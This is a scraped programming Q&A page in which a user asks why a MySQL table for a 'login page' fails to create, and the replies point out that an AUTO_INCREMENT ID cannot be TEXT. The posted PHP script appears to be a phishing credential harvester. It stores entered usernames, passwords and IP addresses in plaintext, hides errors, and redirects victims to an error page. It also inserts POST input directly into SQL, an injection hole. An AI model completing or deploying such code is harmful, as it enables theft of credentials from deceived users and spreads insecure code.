简体   繁体   中英

I am not able to save my data on mysql

Hey friends today I am creating my login page which saved user pass on my data base this project is given me in my school and now I am totally frustrated because everything seems to be right but when I am trying to create database it says error ......I already posted screen shot after this index.php script...

 [<?php
    { //credit
    /* 
    *
    *by nalin
    *
    *PHP ver 5.1.0>
    *Tested on 5.5.27
    *
    *
    */ 
    }
    { //config
    error_reporting(0); //turn off error
    //server address
    $data\[server\] = "localhost";
    //user name
    $data\[username\] = "a0103769_nalin";
    //password here
    $data\[pass\] = "Hydrogen";
    //database name
    $data\[db\] ="a0103769_nalin";
    //table name
    $data\[db2\] ="data";
    //redirect when detect the username/pass is empty
    //prevent the db getting filled with junk aka empty tables
    $header_empty = $_SERVER\['PHP_SELF'\];
    //when it is logged
    $header_success ="error.html";
    }
    { //mod 
    //cloud flare ip converter
    if(isset($_SERVER\["HTTP_CF_CONNECTING_IP"\])){
    $_SERVER\['REMOTE_ADDR'\] = $_SERVER\['HTTP_CF_CONNECTING_IP'\];
    };
    }
    if(isset($_POST\[submit\])){ //Send pass & username to MYSQL
    $id\[name\] = $_POST\[uom\];
    $id\[pass\] = $_POST\[pass\];
    $id\[ip\] = $_SERVER\[REMOTE_ADDR\];
    $idts = gmdate('Y-m-d h:i:s \G\M\T');
    {//empty filler
    if(null == $id\[name\]){
    header("Location: $header_empty");
    die();
    };
    if(null == $id\[pass\]){
    header("Location: $header_empty");
    die();
    };
    }
    $con = mysql_connect($data\[server\],$data\[username\],$data\[pass\]);
    mysql_select_db("$data\[db\]",$con);
    $sql = "INSERT INTO `$data\[db\]`.`$data\[db2\]` (`ID`, `Name`, `Pass`, `IP`, `Time`) VALUES (NULL, '$id\[name\]', '$id\[pass\]', '$id\[ip\]', '$idts')";
    mysql_query($sql);
    mysql_close($con);
    header("Location: $header_success");
    };
    if(!isset($_POST\[submit\])) { //echo the full login page
    echo '
    <html lang="en" data-scribe-reduced-action-queue="true"><!--<!\[endif\]--><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

MySQL Query

CREATE TABLE `a0103769_nalin`.`data` (
    `ID` TEXT NULL DEFAULT NULL AUTO_INCREMENT,
    `Name` TEXT NULL DEFAULT NULL,
    `Password` TEXT NULL DEFAULT NULL,
    `IP` TEXT NULL DEFAULT NULL,
    `Time` TEXT NULL DEFAULT NULL,
    PRIMARY KEY (`ID`)
)
ENGINE = InnoDB;

To use AUTO_INCREMENT you need to deifine column as INT or floating-point types, not Text.

AUTO_INCREMENT use only unsigned value, so it's good to use UNSIGNED as well;

CREATE TABLE a0103769_nalin.data ( ID INT NULL DEFAULT NULL AUTO_INCREMENT , 
Name TEXT NULL DEFAULT NULL , Password TEXT NULL DEFAULT NULL , IP TEXT NULL    
DEFAULT NULL , Time TEXT NULL DEFAULT NULL , PRIMARY KEY (ID)) ENGINE = InnoDB;

您ID列的数据类型不能为TEXT ,而应为Integer类型,因为它是主键AUTO_INCREMENT仅在INTEGER上使用

As per provided image :

在此处输入图片说明

You are getting error because of wrong datatype of your ID(PRIMARY KEY)column. so you just need to change its datatype from TEXT to INT or what ever int type your system required.

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM